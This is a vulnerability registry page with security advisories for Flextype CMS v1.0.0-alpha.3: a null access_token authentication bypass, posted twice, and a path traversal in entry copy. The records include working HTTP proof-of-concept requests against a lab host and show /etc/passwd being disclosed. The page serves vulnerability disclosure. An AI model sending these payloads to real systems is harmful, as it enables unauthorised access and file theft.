- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0181
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.
Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.
An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.
Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact
An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.
The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.
The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation
Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:
$data = array_merge($queryData, $bodyData);
$dataTest = true;
foreach ($options['params'] as $key => $value) {
if (in_array($value, array_keys($data))) {
continue;
}
$dataTest = false;
}
Consequently, a request containing:
{
"access_token": null
}
satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification
Access-token validation is subsequently conditional upon PHP's isset():
if (isset($data['access_token'])) {
if (! isset($tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
}
For a PHP array containing an access_token key whose value is null:
isset($data['access_token'])
evaluates to false.
The authentication verification block is therefore skipped.
Proof of Concept
The following request supplies the required access_token parameter with a
JSON null value:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
Flextype accepted the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8
{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause
The vulnerability results from inconsistent validation of required
parameters.
The first validation considers a parameter present when its key exists:
in_array($value, array_keys($data))
while authentication is conditional upon:
isset($data['access_token'])
These operations have different behavior for null values.
A JSON value of:
"access_token": null
therefore satisfies the first condition while preventing execution of the
second.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0181 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n if (in_array($value, array_keys($data))) {\n continue;\n }\n\n $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n\n if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/23"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/23"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0181",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
"automated": true,
"contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:50:46Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0181"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0181"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0011
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.
Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.
An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.
Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact
An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.
The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.
The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation
Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:
$data = array_merge($queryData, $bodyData);
$dataTest = true;
foreach ($options['params'] as $key => $value) {
if (in_array($value, array_keys($data))) {
continue;
}
$dataTest = false;
}
Consequently, a request containing:
{
"access_token": null
}
satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification
Access-token validation is subsequently conditional upon PHP's isset():
if (isset($data['access_token'])) {
if (! isset($tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
}
For a PHP array containing an access_token key whose value is null:
isset($data['access_token'])
evaluates to false.
The authentication verification block is therefore skipped.
Proof of Concept
The following request supplies the required access_token parameter with a
JSON null value:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
Flextype accepted the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8
{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause
The vulnerability results from inconsistent validation of required
parameters.
The first validation considers a parameter present when its key exists:
in_array($value, array_keys($data))
while authentication is conditional upon:
isset($data['access_token'])
These operations have different behavior for null values.
A JSON value of:
"access_token": null
therefore satisfies the first condition while preventing execution of the
second.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n if (in_array($value, array_keys($data))) {\n continue;\n }\n\n $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n\n if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/23"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/23"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0011",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
"automated": true,
"contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:50:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0011"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0180
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
Entries copy functionality. An authenticated remote attacker can supply
directory traversal sequences within both the source id and destination
new_id parameters submitted to /api/v1/entries/copy.
Flextype constructs entry directory paths by directly concatenating the
supplied entry identifier with the configured entries directory without
sufficiently canonicalizing the resulting path or verifying that it remains
within the intended project/entries directory.
As a result, an attacker can escape the configured entries directory for
both the source and destination of a copy operation. Testing confirmed that
a source identifier containing ../../../etc resolved to the system /etc
directory and that a destination identifier containing ../../etc-copy
caused the directory to be copied outside project/entries to /app/etc-copy.
The copied /etc/passwd file was subsequently accessible over HTTP from
/etc-copy/passwd, resulting in disclosure of operating-system files that
were not intended to be exposed by the web application.
Impact
Successful exploitation allows an authenticated remote attacker to escape
the Flextype entries directory and use filesystem directories outside the
intended content storage location as the source or destination of entry
copy operations.
Testing demonstrated that the vulnerability can copy operating-system files
from /etc into a web-accessible location under the application root. This
resulted in remote disclosure of /etc/passwd.
Depending on filesystem permissions, application deployment layout, and
web-server configuration, the vulnerability may allow disclosure of
sensitive application and operating-system files by copying otherwise
inaccessible directories into web-accessible locations.
The destination traversal also provides a filesystem write/copy primitive
outside the intended project/entries security boundary. This primitive may
increase the impact of other vulnerabilities when chained with
functionality capable of interpreting or executing attacker-controlled
files.
DetailsVulnerable Entry Copy Implementation
The Flextype copy() method receives the existing entry identifier and new
entry identifier and eventually passes both values to getDirectoryLocation()
:
public function copy(string $id, string $newID): bool
{
// Collections validation helper.
// Check if collections are identical.
$isValidCollections = function ($id, $newID) {
$collectionForCurrentEntry = $this->getCollectionOptions($id);
$collectionForNewEntry = $this->getCollectionOptions($newID);
$result = true;
if (! isset($collectionForCurrentEntry['filename']) ||
! isset($collectionForCurrentEntry['extension']) ||
! isset($collectionForCurrentEntry['serializer']) ||
! isset($collectionForNewEntry['filename']) ||
! isset($collectionForNewEntry['extension']) ||
! isset($collectionForNewEntry['serializer'])) {
$result = false;
}
if (($collectionForCurrentEntry['filename'] !=
$collectionForNewEntry['filename']) ||
($collectionForCurrentEntry['extension'] !=
$collectionForNewEntry['extension']) ||
($collectionForCurrentEntry['serializer'] !=
$collectionForNewEntry['serializer'])) {
$result = false;
}
return $result;
};
if (! $isValidCollections($id, $newID)) {
return false;
}
$this->registry()->set('methods.copy', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
'newID' => $newID,
],
'result' => null,
]);
emitter()->emit('onEntriesCopy');
if (! is_null($this->registry()->get('methods.copy.result')) &&
is_bool($this->registry()->get('methods.copy.result'))) {
return $this->registry()->get('methods.copy.result');
}
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
}
The getDirectoryLocation() method constructs the filesystem path using the
supplied identifier:
public function getDirectoryLocation(string $id): string
{
$this->registry()->set('methods.getDirectoryLocation', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
],
'result' => null,
]);
emitter()->emit('onEntriesGetDirectoryLocation');
if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
&&
is_string($this->registry()->get('methods.getDirectoryLocation.result')))
{
return $this->registry()->get('methods.getDirectoryLocation.result');
}
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
}
The supplied identifier is appended directly to:
FLEXTYPE_PATH_PROJECT/<entries-directory>/
without enforcing that the canonicalized resulting path remains beneath the
intended entries directory.
Consequently, traversal sequences within an entry identifier can escape the
expected directory.
Proof of Concept — Escape Source and Destination Directories
The following request supplies traversal sequences for both the source and
destination identifiers:
PUT /api/v1/entries/copy HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
Given an entries directory rooted at:
/app/project/entries
the source:
../../../etc
escapes the entries directory and resolves to:
/etc
The destination:
../../etc-copy
similarly escapes the entries directory and resolves to:
/app/etc-copy
The HTTP endpoint returned:
HTTP/1.1 404 Not Found
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
Despite the HTTP 404 response, filesystem inspection confirmed that the
copy operation occurred.
Proof of Concept — Filesystem Evidence
Following the request, /etc/passwd existed beneath the attacker-selected
escaped destination:
realpath: /app/etc-copy/passwd
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
The resulting path:
/app/etc-copy/passwd
is outside the intended:
/app/project/entries
directory.
This demonstrates that the traversal sequences affected the underlying
filesystem operation despite the API returning HTTP 404.
Proof of Concept — Remote File Disclosure
The copied file could subsequently be retrieved directly through the web
server:
GET /etc-copy/passwd HTTP/1.1
Host: 127.0.0.1:18080
The application returned the copied operating-system file:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
Content-Length: 839
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
Root Cause
The root cause is insufficient validation and canonicalization of entry
identifiers before they are incorporated into filesystem paths.
The vulnerable path construction is:
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
The resulting path is then used directly by the copy operation:
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
Neither the source nor destination is shown being canonicalized and checked
to ensure it remains beneath the configured entries directory before the
filesystem copy operation occurs.
This allows ../ path components supplied through the entry identifiers to
escape the intended filesystem boundary.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0180 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n // Collections validation helper.\n // Check if collections are identical.\n $isValidCollections = function ($id, $newID) {\n $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n $collectionForNewEntry = $this-\u003egetCollectionOptions($newID);\n\n $result = true;\n\n if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n return $result;\n };\n\n if (! $isValidCollections($id, $newID)) {\n return false;\n }\n\n $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n \u0027newID\u0027 =\u003e $newID,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n }\n\n return filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n 